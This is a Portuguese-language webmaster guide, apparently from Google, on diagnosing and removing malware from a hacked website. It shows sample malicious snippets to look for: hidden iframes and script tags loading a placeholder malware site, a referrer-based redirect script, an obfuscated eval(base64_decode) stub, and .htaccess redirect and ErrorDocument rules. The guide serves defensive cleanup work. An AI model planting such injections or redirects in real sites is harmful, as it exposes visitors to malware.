Invasão com malware

Malware é qualquer software ou aplicativo para dispositivos móveis projetado especificamente para causar danos a um computador, dispositivo móvel, software em execução ou usuários. Para mais informações sobre o que é malware, consulte Malware e software indesejado.

Se o site tiver malware, os usuários normalmente verão o aviso "Este site pode danificar seu computador" nos resultados da pesquisa ou em uma página intersticial exibida pelo navegador quando o usuário tentar visitar seu site, assim como:

Página representativa de malware intersticial
Resultados da pesquisa com um aviso de malware.

Você precisará do seguinte:

  • Acesso de administrador shell ou de terminal aos servidores do seu site: Web, banco de dados e arquivos.
  • Conhecimento de comandos shell ou de terminal.
  • A capacidade de executar consultas SQL no banco de dados.

preparação

  • Inscreva-se no Search Console e verifique a propriedade do site invadido, conforme descrito nele. O Search Console fornece uma amostra das páginas afetadas, o que facilita muito a localização e a correção de problemas de invasão com malware. Além disso, você será avisado quando seu site for detectado que está afetado por muitos tipos de malware ou outras invasões.
  • Consulte a página de diagnóstico de Navegação segura do Google para ver informações públicas sobre a possibilidade de um site causar danos aos usuários. É possível ver o status de ficha da sua página ou site em um URL semelhante a este: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***. Exemplo: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> pode ser um URL de página específico (http://example.com/badpage) ou o site inteiro (example.com).

  • Evite usar um navegador para ver as páginas do seu site. Como muitas vezes o malware se espalha explorando vulnerabilidades do navegador, abrir uma página infectada por malware em um navegador pode danificar seu computador. A menos que as instruções de diagnóstico dizem para acessar a página diretamente no navegador, use cURL ou Wget para realizar solicitações HTTP (por exemplo, para buscar uma página).

    Essas ferramentas disponíveis sem custo financeiro são úteis para diagnosticar redirecionamentos e têm a flexibilidade de incluir informações do referenciador ou do user agent. Incluir um referenciador ou user agent específico é útil para imitar hackers, porque os hackers só podem veicular conteúdo malicioso para usuários com user agents ou referenciadores específicos para atingir mais "pessoas reais" e evitar a detecção de proprietários de sites e verificadores de malware.

`curl -v --referer "http://www.google.com" <your-url>`

Confira um exemplo que especifica um user agent e um referenciador:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Recomendamos buscar uma página com e sem --referer "https://www.google.com", porque alguns malwares só são ativados quando os usuários vêm dos resultados da Pesquisa Google.

  • Crie um documento para registrar os resultados desta etapa. O documento incluirá (no mínimo) o nome e o local de cada arquivo danificado e observações sobre como ele foi infectado. Isso servirá como base para a limpeza e manutenção do seu site.

  • Assista ao vídeo anterior nesta página para ver como o malware funciona e como é possível se manter seguro durante a investigação de malware.

Diagnóstico

Determine qual malware está afetando seu site:

  1. Abra o relatório de problemas de segurança do seu site no Search Console. Expanda a descrição do aviso de malware para ver uma lista de exemplos de páginas afetadas. Esta lista não está completa. Talvez você não veja páginas de exemplo para todos os tipos de malware no seu site.
  2. Teste suas páginas de exemplo quanto aos seguintes tipos de malware.

Malware de configuração do servidor (redirecionamentos indesejados)

Um hacker comprometeu seu site e está redirecionando os visitantes do site em boas condições para o site de ataque de malware, provavelmente modificando os arquivos de configuração do servidor. Os arquivos de configuração do servidor geralmente permitem que o administrador do site especifique redirecionamentos de URL para páginas ou diretórios específicos de um site. Por exemplo, em servidores Apache, este é o arquivo .htaccess e httpd.conf.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança. Uma resposta de uma página com a infecção da "configuração do servidor" pode incluir os seguintes cabeçalhos:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determinar os arquivos afetados

Faça login no servidor por acesso shell ou de terminal (o site pode estar off-line, se você quiser) e analise os arquivos de configuração do servidor relevantes. Pode haver mais de um arquivo de configuração do servidor invadido no site. Verifique se esses arquivos contêm diretivas indesejadas, como redirecionamentos para sites desconhecidos. Por exemplo, no arquivo .htaccess, é possível ver um redirecionamento parecido com este:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injeção de SQL

Um hacker comprometeu o banco de dados do seu site. Por exemplo, o hacker pode ter inserido programaticamente código malicioso em todos os registros de uma tabela de banco de dados, de modo que, quando o servidor carregar uma página que requer informações do banco de dados, o código malicioso será incorporado ao conteúdo da página e poderá prejudicar os visitantes do site.

Diagnóstico

  1. Execute algumas consultas nos URLs afetados na linha de comando e examine a resposta de palavras de ataque do SQL, como "iframe" ou "eval".
  2. Faça login no servidor de banco de dados ou visualize seu banco de dados por meio de uma ferramenta como phpMyAdmin. Se você usou o Wget ou o cURL, tente correlacionar o dano encontrado no código-fonte da página via Wget ou cURL com as entradas reais do banco de dados. Por exemplo, se você perceber que suas páginas incluem um iframe perigoso, faça uma consulta SQL pesquisando o código do iframe. Exemplo:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Também é possível verificar os arquivos de erro e de registro do banco de dados no seu servidor em busca de atividades incomuns, como comandos SQL inesperados que parecem incomuns para usuários normais ou erros.

Corrigir o problema

Atualize cada registro infectado do banco de dados ou restaure seu último backup conhecido.

Injeção de código

As páginas do seu site foram modificadas para incluir código malicioso, como um iframe de um site invasor com malware.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório de problemas de segurança com cURL ou wGet e examine o código suspeito. O código injetado pode ter muitos tipos e pode ser difícil de encontrar. Pode ser útil pesquisar palavras como "iframe" para encontrar código iframe. Outras palavras-chave úteis são "script", "eval" e "unescape". Por exemplo, para pesquisar todos os arquivos por "iframe" em sistemas baseados em Unix:

$grep -irn "iframe" ./ | less</pre>

Veja a seguir alguns padrões comuns de malware que você pode procurar.

Um iframe que carrega um site malicioso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript ou outra linguagem de script que chama e executa scripts de um site de ataque:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripts que redirecionam o navegador para um site invasor:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Código malicioso ofuscado para evitar a detecção:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Arquivos de objetos compartilhados projetados para gravar aleatoriamente códigos nocivos em scripts que seriam benignos:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelos de erro maliciosos

O modelo usado para mensagens de erro, como "404 File not Found", está configurado para distribuir malware. Dessa forma, os invasores podem iniciar ataques em URLs que sequer existem no seu site.

Diagnóstico

Solicite uma página no seu site que não existe ou que gera outro tipo de erro e examine a resposta para ver se ela vem de outro site ou contém malware.

Corrigir o problema

Faça login no servidor da Web e pesquise as diretivas da página de erro nos arquivos de configuração do servidor. Por exemplo, o modelo de erro para servidores da Web Apache pode ser declarado no arquivo .htaccess. Confira um exemplo de entrada de arquivo .htaccess que recupera páginas de erro 404 de um site malicioso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando estiver tudo pronto para limpar seu site, substitua os arquivos .htaccess por um backup conhecido ou exclua as diretivas ErrorDocument indesejadas nos arquivos .htaccess existentes. Limpe os arquivos de erro reais, se eles existirem no seu site. Por fim, reinicie o servidor da Web para garantir que todas as alterações entrem em vigor.

Recursos carregados de um site comprometido ou malicioso {compromised-resources}

Seu site usa conteúdo ou recursos de um site que é conhecido por ter conteúdo malicioso. Podem ser arquivos JavaScript, imagens ou outros. Por isso, seu site será sinalizado devido a um malware carregado desse outro site.

Diagnóstico

Acesse alguns dos URLs de exemplo mostrados no relatório Problemas de segurança.

Corrigir o problema

  1. Para confirmar o problema, navegue até alguns dos URLs de amostra listados no Relatório de problemas de segurança do Search Console. Você verá um aviso do navegador.
  2. O aviso do navegador informará o domínio do conteúdo questionável. Remova todas as referências ao site sinalizado no aviso do navegador. Se o conteúdo de um site sinalizado foi incluído sem seu conhecimento, o problema é mais sério. É muito provável que seu site tenha sido comprometido. Continue examinando-o em busca de outras invasões e vulnerabilidades.
  3. Se você incluiu intencionalmente conteúdo de um site legítimo que foi sinalizado e quer incluir novamente o conteúdo após a limpeza do site sinalizado, monitore o status do site sinalizado usando a página de diagnóstico da Navegação segura do Google desse site (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Os proprietários de sites legítimos costumam fazer a limpeza deles rapidamente.

Investigação adicional

Em seguida, verifique se há outros arquivos maliciosos ou alterações no seu sistema. O hacker pode ter modificado páginas ou registros de banco de dados existentes, criado páginas com spam totalmente novas, funções escritas que exibem spam em páginas limpas ou deixado "portas traseiras" que permitem que o hacker entre novamente no site ou que reinjetem códigos maliciosos removidos por você.

Se o site estiver on-line, considere colocá-lo off-line para esta investigação.

Se você tem um bom backup do site, determine quais arquivos foram criados ou modificados desde o backup e investigue-os. Em sistemas baseados em Unix, é possível usar um comando como este para encontrar novos arquivos:

diff -qr <current-directory> <backup-directory>

Exemplo:

diff -qr www/ backups/full-backup-20120124/

além de:

md5sum <current-page> <backup-page>

Exemplo:

md5sum www/page.html backups/full-backup-20120124/page.html

Verifique os registros de servidor, acesso e erro para encontrar qualquer atividade suspeita, como tentativas de login com falha, histórico de comandos (especialmente como raiz) e criação de contas de usuário desconhecidas. Esteja ciente de que o hacker pode ter alterado esses registros de acordo com os próprios propósitos. Confira alguns exemplos no vídeo para identificar a vulnerabilidade.

Verifique se há redirecionamentos nos arquivos de configuração. Os arquivos de configuração geralmente são chamados de .htaccess e httpd.conf. Os hackers geralmente criam redirecionamentos condicionais com base no user agent, na hora do dia ou no referenciador. Se você precisar atualizar os arquivos de configuração, talvez seja necessário reiniciar o servidor para que as alterações entrem em vigor.

Verifique se há pastas e permissões de arquivos muito brandas. Os hackers adulteram permissões porque, se permissões flexíveis não forem detectadas pelo proprietário do site, o hacker terá uma maneira de entrar no site novamente. Arquivos maiores que 644 (rw-r--r--) e pastas maiores que 755 (rwxr-xr-x) podem causar problemas de segurança. Certifique-se de que todas as permissões mais abrangentes são realmente necessárias. Em sistemas baseados em Unix, tente:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

e:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se você tiver um banco de dados, investigue registro por registro usando uma ferramenta como phpMyAdmin.